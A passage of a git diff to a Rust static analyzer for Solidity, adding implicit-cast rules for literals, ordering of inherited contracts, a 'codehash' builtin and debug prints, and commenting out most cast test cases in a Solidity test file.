builtins.push(Builtin::Bytes(s)); + s += 1; + } + } + Builtin::Address => builtins.push(Builtin::Address), + Builtin::AddressPayable => { + builtins.push(Builtin::Address); + builtins.push(Builtin::AddressPayable); + } + Builtin::Payable => { + builtins.push(Builtin::Address); + builtins.push(Builtin::AddressPayable); + } + _ => {} + } + builtins + } + /// Construct a [`SolcRange`] that is zero pub fn zero_range(&self) -> Option { match self { @@ -365,7 +413,7 @@ impl Builtin { } /// Checks if self is implicitly castable to another builtin - pub fn implicitly_castable_to(&self, other: &Self) -> bool { + pub fn castable_to(&self, other: &Self) -> bool { use Builtin::*; match (self, other) { (Address, Address) => true, @@ -389,6 +437,32 @@ impl Builtin { } } + /// Checks if self is implicitly castable to another builtin + pub fn implicitly_castable_to(&self, other: &Self) -> bool { + use Builtin::*; + + let res = match (self, other) { + (Address, Address) => true, + (AddressPayable, Address) => true, + (AddressPayable, Payable) => true, + (AddressPayable, AddressPayable) => true, + (Payable, Address) => true, + (Payable, AddressPayable) => true, + (Payable, Payable) => true, + (Bool, Bool) => true, + (Rational, Rational) => true, + (DynamicBytes, DynamicBytes) => true, + (String, String) => true, + (Uint(from_size), Uint(to_size)) => from_size <= to_size, + (Int(from_size), Int(to_size)) => from_size <= to_size, + (Bytes(from_size), Bytes(to_size)) => from_size <= to_size, + _ => false, + }; + + println!("{self:?} implicitly castable to {other:?}, res: {res:?}"); + res + } + /// Returns the max size version of this builtin pub fn max_size(&self) -> Self { use Builtin::*; diff --git a/crates/graph/src/nodes/concrete.rs b/crates/graph/src/nodes/concrete.rs index f048c3f5..64e2d472 100644 --- a/crates/graph/src/nodes/concrete.rs +++ b/crates/graph/src/nodes/concrete.rs @@ -705,6 +705,34 @@ impl Concrete { } } + pub fn alt_lit_builtins(&self) -> Vec { + let mut alts = vec![]; + if let Concrete::Uint(size, val) = self { + // literal(u160) -> address + if *size == 160 { + alts.push(Builtin::Address); + } + + // uint -> int, all size steps between + let mut new_size = *size; + let imax = U256::from(2).pow((*size - 1).into()); + // we may have to bump size by 8 bits + if val > &imax { + new_size += 8; + } + // if a valid + while new_size <= 256 { + alts.push(Builtin::Int(new_size)); + new_size += 8; + } + + // exact bytesX + let bytes_size = size / 8; + alts.push(Builtin::Bytes(bytes_size as u8)); + } + alts + } + /// Converts a concrete into a `U256`. pub fn into_u256(&self) -> Option { match self { diff --git a/crates/graph/src/nodes/context/expr_ret.rs b/crates/graph/src/nodes/context/expr_ret.rs index 92d20c13..94961ca9 100644 --- a/crates/graph/src/nodes/context/expr_ret.rs +++ b/crates/graph/src/nodes/context/expr_ret.rs @@ -304,4 +304,17 @@ impl ExprRet { panic!("Expected a Vec of length {} but it was {}", N, v.len()) }) } + + pub fn implicitly_castable_to( + &self, + analyzer: &impl GraphBackend, + to_ty: &VarType, + ) -> Result { + let idx = self.expect_single()?; + let is_lit = self.has_literal(); + let Some(self_ty) = VarType::try_from_idx(analyzer, idx) else { + return Ok(false); + }; + self_ty.implicitly_castable_to(to_ty, analyzer, is_lit) + } } diff --git a/crates/graph/src/nodes/context/querying.rs b/crates/graph/src/nodes/context/querying.rs index dc03ac77..5b0364ed 100644 --- a/crates/graph/src/nodes/context/querying.rs +++ b/crates/graph/src/nodes/context/querying.rs @@ -177,7 +177,7 @@ impl ContextNode { return Ok(vis.clone()); } if let Some(contract) = self.maybe_associated_contract(analyzer)? { - let mut mapping = contract.linearized_functions(analyzer)?; + let mut mapping = contract.linearized_functions(analyzer, false)?; // extend with free floating functions mapping.extend( analyzer diff --git a/crates/graph/src/nodes/contract_ty.rs b/crates/graph/src/nodes/contract_ty.rs index c3bb19bd..b51ee77d 100644 --- a/crates/graph/src/nodes/contract_ty.rs +++ b/crates/graph/src/nodes/contract_ty.rs @@ -111,6 +111,21 @@ impl ContractNode { .push(ContractNode::from(*found)); analyzer.add_edge(*found, *self, Edge::InheritedContract); }); + self.order_inherits(analyzer); + } + + pub fn order_inherits(&self, analyzer: &mut impl AnalyzerBackend) { + let raw_inherits = self.underlying(analyzer).unwrap().raw_inherits.clone(); + let inherits = self.underlying(analyzer).unwrap().inherits.clone(); + + let mut tmp_inherits = vec![]; + tmp_inherits.resize(inherits.len(), ContractNode::from(NodeIdx::from(0))); + inherits.into_iter().for_each(|inherited| { + let i_name = inherited.name(analyzer).unwrap(); + let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); + tmp_inherits[position] = inherited; + }); + self.underlying_mut(analyzer).unwrap().inherits = tmp_inherits; } pub fn direct_inherited_contracts(&self, analyzer: &impl GraphBackend) -> Vec { @@ -215,27 +230,34 @@ impl ContractNode { pub fn linearized_functions( &self, analyzer: &mut (impl Search + AnalyzerBackend), + super_func: bool, ) -> Result, GraphError> { - if let Some(funcs) = &self.underlying(analyzer)?.cached_functions { - Ok(funcs.clone()) - } else { - let mut mapping = self.funcs_mapping(analyzer); - self.direct_inherited_contracts(analyzer) - .iter() - .for_each(|inherited| { - inherited - .linearized_functions(analyzer) - .unwrap() - .iter() - .for_each(|(name, func)| { - if !mapping.contains_key(name) { - mapping.insert(name.to_string(), *func); - } - }); - }); - self.underlying_mut(analyzer)?.cached_functions = Some(mapping.clone()); - Ok(mapping) + if !super_func { + if let Some(funcs) = &self.underlying(analyzer)?.cached_functions { + return Ok(funcs.clone()); + } } + + let mut mapping = if !super_func { + self.funcs_mapping(analyzer) + } else { + Default::default() + }; + self.direct_inherited_contracts(analyzer) + .iter() + .for_each(|inherited| { + inherited + .linearized_functions(analyzer, false) + .unwrap() + .iter() + .for_each(|(name, func)| { + if !mapping.contains_key(name) { + mapping.insert(name.to_string(), *func); + } + }); + }); + self.underlying_mut(analyzer)?.cached_functions = Some(mapping.clone()); + Ok(mapping) } pub fn structs(&self, analyzer: &(impl GraphBackend + Search)) -> Vec { @@ -359,6 +381,8 @@ pub struct Contract { pub ty: ContractTy, /// An optional name in the form of an identifier (`(Loc, String)`) pub name: Option, + /// + pub raw_inherits: Vec, /// A list of contracts that this contract inherits (TODO: inheritance linearization) pub inherits: Vec, /// Cached linearized functions @@ -379,10 +403,12 @@ impl Contract { imports: &[Option], analyzer: &impl GraphBackend, ) -> (Contract, Vec) { + let mut raw_inherits = vec![]; let mut inherits = vec![]; let mut unhandled_inherits = vec![]; con.base.iter().for_each(|base| { let inherited_name = &base.name.identifiers[0].name; + raw_inherits.push(inherited_name.clone()); let mut found = false; for contract in analyzer .search_children_exclude_via(source, &Edge::Contract, &[Edge::Func]) @@ -416,15 +442,32 @@ impl Contract { unhandled_inherits.push(inherited_name.clone()); } }); - ( - Contract { - loc: con.loc, - ty: con.ty, - name: con.name, - inherits, - cached_functions: None, - }, - unhandled_inherits, - ) + + raw_inherits.reverse(); + let mut this = Contract { + loc: con.loc, + ty: con.ty, + name: con.name, + raw_inherits, + inherits, + cached_functions: None, + }; + + this.order_inherits(analyzer); + (this, unhandled_inherits) + } + + pub fn order_inherits(&mut self, analyzer: &impl GraphBackend) { + let raw_inherits = self.raw_inherits.clone(); + let inherits = self.inherits.clone(); + + let mut tmp_inherits = vec![]; + tmp_inherits.resize(inherits.len(), ContractNode::from(NodeIdx::from(0))); + inherits.into_iter().for_each(|inherited| { + let i_name = inherited.name(analyzer).unwrap(); + let position = raw_inherits.iter().position(|raw| &i_name == raw).unwrap(); + tmp_inherits[position] = inherited; + }); + self.inherits = tmp_inherits; } } diff --git a/crates/graph/src/var_type.rs b/crates/graph/src/var_type.rs index 8d0ae594..886d1b04 100644 --- a/crates/graph/src/var_type.rs +++ b/crates/graph/src/var_type.rs @@ -260,6 +260,55 @@ impl VarType { } } + pub fn implicitly_castable_to( + &self, + other: &Self, + analyzer: &impl GraphBackend, + from_lit: bool, + ) -> Result { + if self.ty_idx() == other.ty_idx() { + return Ok(true); + } + + let res = match (self, other) { + (Self::BuiltIn(from_bn, _), Self::BuiltIn(to_bn, _)) => { + from_bn.implicitly_castable_to(to_bn, analyzer) + } + (Self::Concrete(from), Self::BuiltIn(to, _)) => { + let from = from.underlying(analyzer)?.as_builtin(); + let to = to.underlying(analyzer)?; + Ok(from.implicitly_castable_to(&to)) + } + (Self::BuiltIn(from, _), Self::Concrete(to)) => { + let from = from.underlying(analyzer)?; + let to = to.underlying(analyzer)?.as_builtin(); + Ok(from.implicitly_castable_to(&to)) + } + (Self::Concrete(from), Self::Concrete(to)) => { + let from = from.underlying(analyzer)?.as_builtin(); + let to = to.underlying(analyzer)?.as_builtin(); + Ok(from.implicitly_castable_to(&to)) + } + _ => Ok(false), + }; + + let impl_cast = res?; + if !impl_cast && from_lit { + match (self, other) { + (Self::Concrete(from), Self::BuiltIn(to, _)) => { + let froms = from.underlying(analyzer)?.alt_lit_builtins(); + let to = to.underlying(analyzer)?; + + // exact matches only (i.e. uint160 -> address, uint8 -> bytes1, etc) + Ok(froms.iter().any(|from| from == to)) + } + _ => Ok(impl_cast), + } + } else { + Ok(impl_cast) + } + } + pub fn try_cast( self, other: &Self, @@ -287,7 +336,7 @@ impl VarType { } } (Self::BuiltIn(from_bn, sr), Self::BuiltIn(to_bn, _)) => { - if from_bn.implicitly_castable_to(to_bn, analyzer)? { + if from_bn.castable_to(to_bn, analyzer)? { Ok(Some(Self::BuiltIn(*to_bn, sr))) } else { Ok(None) @@ -371,7 +420,7 @@ impl VarType { } } (Self::BuiltIn(from_bn, sr), Self::BuiltIn(to_bn, _)) => { - if from_bn.implicitly_castable_to(to_bn, analyzer)? { + if from_bn.castable_to(to_bn, analyzer)? { Ok(Some(Self::BuiltIn(*to_bn, sr))) } else { Ok(None) @@ -401,21 +450,18 @@ impl VarType { } } - pub fn implicitly_castable_to( + pub fn castable_to( &self, other: &Self, analyzer: &impl GraphBackend, ) -> Result { match (self, other) { (Self::BuiltIn(from_bn, _), Self::BuiltIn(to_bn, _)) => { - from_bn.implicitly_castable_to(to_bn, analyzer) + from_bn.castable_to(to_bn, analyzer) } (Self::Concrete(from_c), Self::BuiltIn(to_bn, _)) => { let to = to_bn.underlying(analyzer)?; - Ok(from_c - .underlying(analyzer)? - .as_builtin() - .implicitly_castable_to(to)) + Ok(from_c.underlying(analyzer)?.as_builtin().castable_to(to)) } _ => Ok(false), } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 546e7c23..884b0356 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -1148,7 +1148,7 @@ impl Analyzer { }) .copied() .collect(); - + println!("relevant_funcs: {relevant_funcs:#?}"); if matches!(self.node(scope_node), Node::Contract(_)) { self.add_edge( scope_node, @@ -1158,6 +1158,7 @@ impl Analyzer { } relevant_funcs.iter().for_each(|func| { + println!("connecting: {:#?}, {:#?}", self.node(ty_idx), func); self.add_edge(ty_idx, *func, Edge::LibraryFunction(scope_node)); }); break; diff --git a/crates/pyrometer/src/builtin_fns.rs b/crates/pyrometer/src/builtin_fns.rs index 1c3caeaa..519cc300 100644 --- a/crates/pyrometer/src/builtin_fns.rs +++ b/crates/pyrometer/src/builtin_fns.rs @@ -317,6 +317,15 @@ pub fn builtin_fns() -> AHashMap { Loc::Builtin, )))], ), + builtin_fn!( + name: Some(Identifier { + loc: Loc::Builtin, + name: "codehash".to_string(), + }), + attributes: vec![FunctionAttribute::Visibility(Visibility::External(Some( + Loc::Builtin, + )))], + ), ]; funcs .into_iter() diff --git a/crates/pyrometer/tests/test_data/cast.sol b/crates/pyrometer/tests/test_data/cast.sol index 392e792a..926ed199 100644 --- a/crates/pyrometer/tests/test_data/cast.sol +++ b/crates/pyrometer/tests/test_data/cast.sol @@ -1,319 +1,319 @@ // SPDX-License-Identifier: MIT or APACHE2 pragma solidity ^0.8.0; -type ShortString is bytes32; -type MyUint is uint256; -type MyInt is int256; +// type ShortString is bytes32; +// type MyUint is uint256; +// type MyInt is int256; contract Cast { - function u_int(uint256 x) public pure { - uint248 x_uint248 = uint248(x); - uint240 x_uint240 = uint240(x); - uint232 x_uint232 = uint232(x); - uint224 x_uint224 = uint224(x); - uint216 x_uint216 = uint216(x); - uint208 x_uint208 = uint208(x); - uint200 x_uint200 = uint200(x); - uint192 x_uint192 = uint192(x); - uint184 x_uint184 = uint184(x); - uint176 x_uint176 = uint176(x); - uint168 x_uint168 = uint168(x); - uint160 x_uint160 = uint160(x); - uint152 x_uint152 = uint152(x); - uint144 x_uint144 = uint144(x); - uint136 x_uint136 = uint136(x); - uint128 x_uint128 = uint128(x); - uint120 x_uint120 = uint120(x); - uint112 x_uint112 = uint112(x); - uint104 x_uint104 = uint104(x); - uint96 x_uint96 = uint96(x); - uint88 x_uint88 = uint88(x); - uint80 x_uint80 = uint80(x); - uint72 x_uint72 = uint72(x); - uint64 x_uint64 = uint64(x); - uint56 x_uint56 = uint56(x); - uint48 x_uint48 = uint48(x); - uint40 x_uint40 = uint40(x); - uint32 x_uint32 = uint32(x); - uint24 x_uint24 = uint24(x); - uint16 x_uint16 = uint16(x); - uint8 x_uint8 = uint8(x); - uint256 x_uint256 = uint256(x_uint8); - x_uint256; - x_uint248; - x_uint240; - x_uint232; - x_uint224; - x_uint216; - x_uint208; - x_uint200; - x_uint192; - x_uint184; - x_uint176; - x_uint168; - x_uint160; - x_uint152; - x_uint144; - x_uint136; - x_uint128; - x_uint120; - x_uint112; - x_uint104; - x_uint96; - x_uint88; - x_uint80; - x_uint72; - x_uint64; - x_uint56; - x_uint48; - x_uint40; - x_uint32; - x_uint24; - x_uint16; - } + // function u_int(uint256 x) public pure { + // uint248 x_uint248 = uint248(x); + // uint240 x_uint240 = uint240(x); + // uint232 x_uint232 = uint232(x); + // uint224 x_uint224 = uint224(x); + // uint216 x_uint216 = uint216(x); + // uint208 x_uint208 = uint208(x); + // uint200 x_uint200 = uint200(x); + // uint192 x_uint192 = uint192(x); + // uint184 x_uint184 = uint184(x); + // uint176 x_uint176 = uint176(x); + // uint168 x_uint168 = uint168(x); + // uint160 x_uint160 = uint160(x); + // uint152 x_uint152 = uint152(x); + // uint144 x_uint144 = uint144(x); + // uint136 x_uint136 = uint136(x); + // uint128 x_uint128 = uint128(x); + // uint120 x_uint120 = uint120(x); + // uint112 x_uint112 = uint112(x); + // uint104 x_uint104 = uint104(x); + // uint96 x_uint96 = uint96(x); + // uint88 x_uint88 = uint88(x); + // uint80 x_uint80 = uint80(x); + // uint72 x_uint72 = uint72(x); + // uint64 x_uint64 = uint64(x); + // uint56 x_uint56 = uint56(x); + // uint48 x_uint48 = uint48(x); + // uint40 x_uint40 = uint40(x); + // uint32 x_uint32 = uint32(x); + // uint24 x_uint24 = uint24(x); + // uint16 x_uint16 = uint16(x); + // uint8 x_uint8 = uint8(x); + // uint256 x_uint256 = uint256(x_uint8); + // x_uint256; + // x_uint248; + // x_uint240; + // x_uint232; + // x_uint224; + // x_uint216; + // x_uint208; + // x_uint200; + // x_uint192; + // x_uint184; + // x_uint176; + // x_uint168; + // x_uint160; + // x_uint152; + // x_uint144; + // x_uint136; + // x_uint128; + // x_uint120; + // x_uint112; + // x_uint104; + // x_uint96; + // x_uint88; + // x_uint80; + // x_uint72; + // x_uint64; + // x_uint56; + // x_uint48; + // x_uint40; + // x_uint32; + // x_uint24; + // x_uint16; + // } - function u_int_conc() public pure { - u_int(100); - } + // function u_int_conc() public pure { + // u_int(100); + // } - function i_nt(int256 x) public pure { - int248 x_int248 = int248(x); - int240 x_int240 = int240(x); - int232 x_int232 = int232(x); - int224 x_int224 = int224(x); - int216 x_int216 = int216(x); - int208 x_int208 = int208(x); - int200 x_int200 = int200(x); - int192 x_int192 = int192(x); - int184 x_int184 = int184(x); - int176 x_int176 = int176(x); - int168 x_int168 = int168(x); - int160 x_int160 = int160(x); - int152 x_int152 = int152(x); - int144 x_int144 = int144(x); - int136 x_int136 = int136(x); - int128 x_int128 = int128(x); - int120 x_int120 = int120(x); - int112 x_int112 = int112(x); - int104 x_int104 = int104(x); - int96 x_int96 = int96(x); - int88 x_int88 = int88(x); - int80 x_int80 = int80(x); - int72 x_int72 = int72(x); - int64 x_int64 = int64(x); - int56 x_int56 = int56(x); - int48 x_int48 = int48(x); - int40 x_int40 = int40(x); - int32 x_int32 = int32(x); - int24 x_int24 = int24(x); - int16 x_int16 = int16(x); - int8 x_int8 = int8(x); - int256 x_int256 = int256(x_int8); - x_int256; - x_int248; - x_int240; - x_int232; - x_int224; - x_int216; - x_int208; - x_int200; - x_int192; - x_int184; - x_int176; - x_int168; - x_int160; - x_int152; - x_int144; - x_int136; - x_int128; - x_int120; - x_int112; - x_int104; - x_int96; - x_int88; - x_int80; - x_int72; - x_int64; - x_int56; - x_int48; - x_int40; - x_int32; - x_int24; - x_int16; - } + // function i_nt(int256 x) public pure { + // int248 x_int248 = int248(x); + // int240 x_int240 = int240(x); + // int232 x_int232 = int232(x); + // int224 x_int224 = int224(x); + // int216 x_int216 = int216(x); + // int208 x_int208 = int208(x); + // int200 x_int200 = int200(x); + // int192 x_int192 = int192(x); + // int184 x_int184 = int184(x); + // int176 x_int176 = int176(x); + // int168 x_int168 = int168(x); + // int160 x_int160 = int160(x); + // int152 x_int152 = int152(x); + // int144 x_int144 = int144(x); + // int136 x_int136 = int136(x); + // int128 x_int128 = int128(x); + // int120 x_int120 = int120(x); + // int112 x_int112 = int112(x); + // int104 x_int104 = int104(x); + // int96 x_int96 = int96(x); + // int88 x_int88 = int88(x); + // int80 x_int80 = int80(x); + // int72 x_int72 = int72(x); + // int64 x_int64 = int64(x); + // int56 x_int56 = int56(x); + // int48 x_int48 = int48(x); + // int40 x_int40 = int40(x); + // int32 x_int32 = int32(x); + // int24 x_int24 = int24(x); + // int16 x_int16 = int16(x); + // int8 x_int8 = int8(x); + // int256 x_int256 = int256(x_int8); + // x_int256; + // x_int248; + // x_int240; + // x_int232; + // x_int224; + // x_int216; + // x_int208; + // x_int200; + // x_int192; + // x_int184; + // x_int176; + // x_int168; + // x_int160; + // x_int152; + // x_int144; + // x_int136; + // x_int128; + // x_int120; + // x_int112; + // x_int104; + // x_int96; + // x_int88; + // x_int80; + // x_int72; + // x_int64; + // x_int56; + // x_int48; + // x_int40; + // x_int32; + // x_int24; + // x_int16; + // } - function i_nt_conc_pos() public pure { - i_nt(100); - } + // function i_nt_conc_pos() public pure { + // i_nt(100); + // } - function i_nt_conc_neg() public pure { - i_nt(-100); - } + // function i_nt_conc_neg() public pure { + // i_nt(-100); + // } - function u_i_nt(int256 x) public pure { - uint256 x_uint256 = uint256(x); - int248 x_int248 = int248(x); - uint248 x_uint248 = uint248(x_int248); - int240 x_int240 = int240(x); - uint240 x_uint240 = uint240(x_int240); - int232 x_int232 = int232(x); - uint232 x_uint232 = uint232(x_int232); - int224 x_int224 = int224(x); - uint224 x_uint224 = uint224(x_int224); - int216 x_int216 = int216(x); - uint216 x_uint216 = uint216(x_int216); - int208 x_int208 = int208(x); - uint208 x_uint208 = uint208(x_int208); - int200 x_int200 = int200(x); - uint200 x_uint200 = uint200(x_int200); - int192 x_int192 = int192(x); - uint192 x_uint192 = uint192(x_int192); - int184 x_int184 = int184(x); - uint184 x_uint184 = uint184(x_int184); - int176 x_int176 = int176(x); - uint176 x_uint176 = uint176(x_int176); - int168 x_int168 = int168(x); - uint168 x_uint168 = uint168(x_int168); - int160 x_int160 = int160(x); - uint160 x_uint160 = uint160(x_int160); - int152 x_int152 = int152(x); - uint152 x_uint152 = uint152(x_int152); - int144 x_int144 = int144(x); - uint144 x_uint144 = uint144(x_int144); - int136 x_int136 = int136(x); - uint136 x_uint136 = uint136(x_int136); - int128 x_int128 = int128(x); - uint128 x_uint128 = uint128(x_int128); - int120 x_int120 = int120(x); - uint120 x_uint120 = uint120(x_int120); - int112 x_int112 = int112(x); - uint112 x_uint112 = uint112(x_int112); - int104 x_int104 = int104(x); - uint104 x_uint104 = uint104(x_int104); - int96 x_int96 = int96(x); - uint96 x_uint96 = uint96(x_int96); - int88 x_int88 = int88(x); - uint88 x_uint88 = uint88(x_int88); - int80 x_int80 = int80(x); - uint80 x_uint80 = uint80(x_int80); - int72 x_int72 = int72(x); - uint72 x_uint72 = uint72(x_int72); - int64 x_int64 = int64(x); - uint64 x_uint64 = uint64(x_int64); - int56 x_int56 = int56(x); - uint56 x_uint56 = uint56(x_int56); - int48 x_int48 = int48(x); - uint48 x_uint48 = uint48(x_int48); - int40 x_int40 = int40(x); - uint40 x_uint40 = uint40(x_int40); - int32 x_int32 = int32(x); - uint32 x_uint32 = uint32(x_int32); - int24 x_int24 = int24(x); - uint24 x_uint24 = uint24(x_int24); - int16 x_int16 = int16(x); - uint16 x_uint16 = uint16(x_int16); - int8 x_int8 = int8(x); - uint8 x_uint8 = uint8(x_int8); - x_uint256 = uint256(int256(x_int8)); - x_uint248; - x_uint240; - x_uint232; - x_uint224; - x_uint216; - x_uint208; - x_uint200; - x_uint192; - x_uint184; - x_uint176; - x_uint168; - x_uint160; - x_uint152; - x_uint144; - x_uint136; - x_uint128; - x_uint120; - x_uint112; - x_uint104; - x_uint96; - x_uint88; - x_uint80; - x_uint72; - x_uint64; - x_uint56; - x_uint48; - x_uint40; - x_uint32; - x_uint24; - x_uint16; - x_uint8; - } + // function u_i_nt(int256 x) public pure { + // uint256 x_uint256 = uint256(x); + // int248 x_int248 = int248(x); + // uint248 x_uint248 = uint248(x_int248); + // int240 x_int240 = int240(x); + // uint240 x_uint240 = uint240(x_int240); + // int232 x_int232 = int232(x); + // uint232 x_uint232 = uint232(x_int232); + // int224 x_int224 = int224(x); + // uint224 x_uint224 = uint224(x_int224); + // int216 x_int216 = int216(x); + // uint216 x_uint216 = uint216(x_int216); + // int208 x_int208 = int208(x); + // uint208 x_uint208 = uint208(x_int208); + // int200 x_int200 = int200(x); + // uint200 x_uint200 = uint200(x_int200); + // int192 x_int192 = int192(x); + // uint192 x_uint192 = uint192(x_int192); + // int184 x_int184 = int184(x); + // uint184 x_uint184 = uint184(x_int184); + // int176 x_int176 = int176(x); + // uint176 x_uint176 = uint176(x_int176); + // int168 x_int168 = int168(x); + // uint168 x_uint168 = uint168(x_int168); + // int160 x_int160 = int160(x); + // uint160 x_uint160 = uint160(x_int160); + // int152 x_int152 = int152(x); + // uint152 x_uint152 = uint152(x_int152); + // int144 x_int144 = int144(x); + // uint144 x_uint144 = uint144(x_int144); + // int136 x_int136 = int136(x); + // uint136 x_uint136 = uint136(x_int136); + // int128 x_int128 = int128(x); + // uint128 x_uint128 = uint128(x_int128); + // int120 x_int120 = int120(x); + // uint120 x_uint120 = uint120(x_int120); + // int112 x_int112 = int112(x); + // uint112 x_uint112 = uint112(x_int112); + // int104 x_int104 = int104(x); + // uint104 x_uint104 = uint104(x_int104); + // int96 x_int96 = int96(x); + // uint96 x_uint96 = uint96(x_int96); + // int88 x_int88 = int88(x); + // uint88 x_uint88 = uint88(x_int88); + // int80 x_int80 = int80(x); + // uint80 x_uint80 = uint80(x_int80); + // int72 x_int72 = int72(x); + // uint72 x_uint72 = uint72(x_int72); + // int64 x_int64 = int64(x); + // uint64 x_uint64 = uint64(x_int64); + // int56 x_int56 = int56(x); + // uint56 x_uint56 = uint56(x_int56); + // int48 x_int48 = int48(x); + // uint48 x_uint48 = uint48(x_int48); + // int40 x_int40 = int40(x); + // uint40 x_uint40 = uint40(x_int40); + // int32 x_int32 = int32(x); + // uint32 x_uint32 = uint32(x_int32); + // int24 x_int24 = int24(x); + // uint24 x_uint24 = uint24(x_int24); + // int16 x_int16 = int16(x); + // uint16 x_uint16 = uint16(x_int16); + // int8 x_int8 = int8(x); + // uint8 x_uint8 = uint8(x_int8); + // x_uint256 = uint256(int256(x_int8)); + // x_uint248; + // x_uint240; + // x_uint232; + // x_uint224; + // x_uint216; + // x_uint208; + // x_uint200; + // x_uint192; + // x_uint184; + // x_uint176; + // x_uint168; + // x_uint160; + // x_uint152; + // x_uint144; + // x_uint136; + // x_uint128; + // x_uint120; + // x_uint112; + // x_uint104; + // x_uint96; + // x_uint88; + // x_uint80; + // x_uint72; + // x_uint64; + // x_uint56; + // x_uint48; + // x_uint40; + // x_uint32; + // x_uint24; + // x_uint16; + // x_uint8; + // } - function b_ytes(bytes32 x) public pure { - bytes31 x_bytes31 = bytes31(x); - bytes30 x_bytes30 = bytes30(x); - bytes29 x_bytes29 = bytes29(x); - bytes28 x_bytes28 = bytes28(x); - bytes27 x_bytes27 = bytes27(x); - bytes26 x_bytes26 = bytes26(x); - bytes25 x_bytes25 = bytes25(x); - bytes24 x_bytes24 = bytes24(x); - bytes23 x_bytes23 = bytes23(x); - bytes22 x_bytes22 = bytes22(x); - bytes21 x_bytes21 = bytes21(x); - bytes20 x_bytes20 = bytes20(x); - bytes19 x_bytes19 = bytes19(x); - bytes18 x_bytes18 = bytes18(x); - bytes17 x_bytes17 = bytes17(x); - bytes16 x_bytes16 = bytes16(x); - bytes15 x_bytes15 = bytes15(x); - bytes14 x_bytes14 = bytes14(x); - bytes13 x_bytes13 = bytes13(x); - bytes12 x_bytes12 = bytes12(x); - bytes11 x_bytes11 = bytes11(x); - bytes10 x_bytes10 = bytes10(x); - bytes9 x_bytes9 = bytes9(x); - bytes8 x_bytes8 = bytes8(x); - bytes7 x_bytes7 = bytes7(x); - bytes6 x_bytes6 = bytes6(x); - bytes5 x_bytes5 = bytes5(x); - bytes4 x_bytes4 = bytes4(x); - bytes3 x_bytes3 = bytes3(x); - bytes2 x_bytes2 = bytes2(x); - bytes1 x_bytes1 = bytes1(x); - bytes32 x_bytes32 = bytes32(x_bytes1); - x_bytes31; - x_bytes30; - x_bytes29; - x_bytes28; - x_bytes27; - x_bytes26; - x_bytes25; - x_bytes24; - x_bytes23; - x_bytes22; - x_bytes21; - x_bytes20; - x_bytes19; - x_bytes18; - x_bytes17; - x_bytes16; - x_bytes15; - x_bytes14; - x_bytes13; - x_bytes12; - x_bytes11; - x_bytes10; - x_bytes9; - x_bytes8; - x_bytes7; - x_bytes6; - x_bytes5; - x_bytes4; - x_bytes3; - x_bytes2; - x_bytes1; - x_bytes32; - } + // function b_ytes(bytes32 x) public pure { + // bytes31 x_bytes31 = bytes31(x); + // bytes30 x_bytes30 = bytes30(x); + // bytes29 x_bytes29 = bytes29(x); + // bytes28 x_bytes28 = bytes28(x); + // bytes27 x_bytes27 = bytes27(x); + // bytes26 x_bytes26 = bytes26(x); + // bytes25 x_bytes25 = bytes25(x); + // bytes24 x_bytes24 = bytes24(x); + // bytes23 x_bytes23 = bytes23(x); + // bytes22 x_bytes22 = bytes22(x); + // bytes21 x_bytes21 = bytes21(x); + // bytes20 x_bytes20 = bytes20(x); + // bytes19 x_bytes19 = bytes19(x); + // bytes18 x_bytes18 = bytes18(x); + // bytes17 x_bytes17 = bytes17(x); + // bytes16 x_bytes16 = bytes16(x); + // bytes15 x_bytes15 = bytes15(x); + // bytes14 x_bytes14 = bytes14(x); + // bytes13 x_bytes13 = bytes13(x); + // bytes12 x_bytes12 = bytes12(x); + // bytes11 x_bytes11 = bytes11(x); + // bytes10 x_bytes10 = bytes10(x); + // bytes9 x_bytes9 = bytes9(x); + // bytes8 x_bytes8 = bytes8(x); + // bytes7 x_bytes7 = bytes7(x); + // bytes6 x_bytes6 = bytes6(x); + // bytes5 x_bytes5 = bytes5(x); + // bytes4 x_bytes4 = bytes4(x); + // bytes3 x_bytes3 = bytes3(x); + // bytes2 x_bytes2 = bytes2(x); + // bytes1 x_bytes1 = bytes1(x); + // bytes32 x_bytes32 = bytes32(x_bytes1); + // x_bytes31; + // x_bytes30; + // x_bytes29; + // x_bytes28; + // x_bytes27; + // x_bytes26; + // x_bytes25; + // x_bytes24; + // x_bytes23; + // x_bytes22; + // x_bytes21; + // x_bytes20; + // x_bytes19; + // x_bytes18; + // x_bytes17; + // x_bytes16; + // x_bytes15; + // x_bytes14; + // x_bytes13; + // x_bytes12; + // x_bytes11; + // x_bytes10; + // x_bytes9; + // x_bytes8; + // x_bytes7; + // x_bytes6; + // x_bytes5; + // x_bytes4; + // x_bytes3; + // x_bytes2; + // x_bytes1; + // x_bytes32; + // } function b_ytes_uint(bytes32 x) public pure returns (uint256) { uint256 x_uint256 = uint256(x); @@ -325,13 +325,13 @@ contract Cast { return x_bytes32; } - function u_int_addr(uint160 x) public pure returns (address) { - return address(x); - } + // function u_int_addr(uint160 x) public pure returns (address) { + // return address(x); + // } - function addr_uint(address x) public pure returns (uint160) { - return uint160(x); - } + // function addr_uint(address x) public pure returns (uint160) { + // return uint160(x); + // } function b_ytes_uint_conc() public pure returns (bytes32) { bytes32 round_trip = u_int_bytes(b_ytes_uint(hex"1337")); @@ -339,91 +339,91 @@ contract Cast { return round_trip; } - function addr_uint_conc() public pure returns (address) { - address round_trip = u_int_addr(addr_uint(address(1337))); - require(round_trip == address(1337)); - return round_trip; - } + // function addr_uint_conc() public pure returns (address) { + // address round_trip = u_int_addr(addr_uint(address(1337))); + // require(round_trip == address(1337)); + // return round_trip; + // } - function userStr() internal pure { - bytes32 x = bytes32("test"); - ShortString a = ShortString.wrap(x); - bytes32 b = ShortString.unwrap(a); - require(b == x); - } + // function userStr() internal pure { + // bytes32 x = bytes32("test"); + // ShortString a = ShortString.wrap(x); + // bytes32 b = ShortString.unwrap(a); + // require(b == x); + // } - function userUint() internal pure { - uint256 x = 100; - MyUint a = MyUint.wrap(x); - uint256 b = MyUint.unwrap(a); - require(b == x); - } + // function userUint() internal pure { + // uint256 x = 100; + // MyUint a = MyUint.wrap(x); + // uint256 b = MyUint.unwrap(a); + // require(b == x); + // } - function downcast_uint_conc() public pure returns (uint64) { - uint128 y = type(uint128).max; - y -= type(uint32).max; - return uint64(y); - } + // function downcast_uint_conc() public pure returns (uint64) { + // uint128 y = type(uint128).max; + // y -= type(uint32).max; + // return uint64(y); + // } - function downcast_int_conc() public pure returns 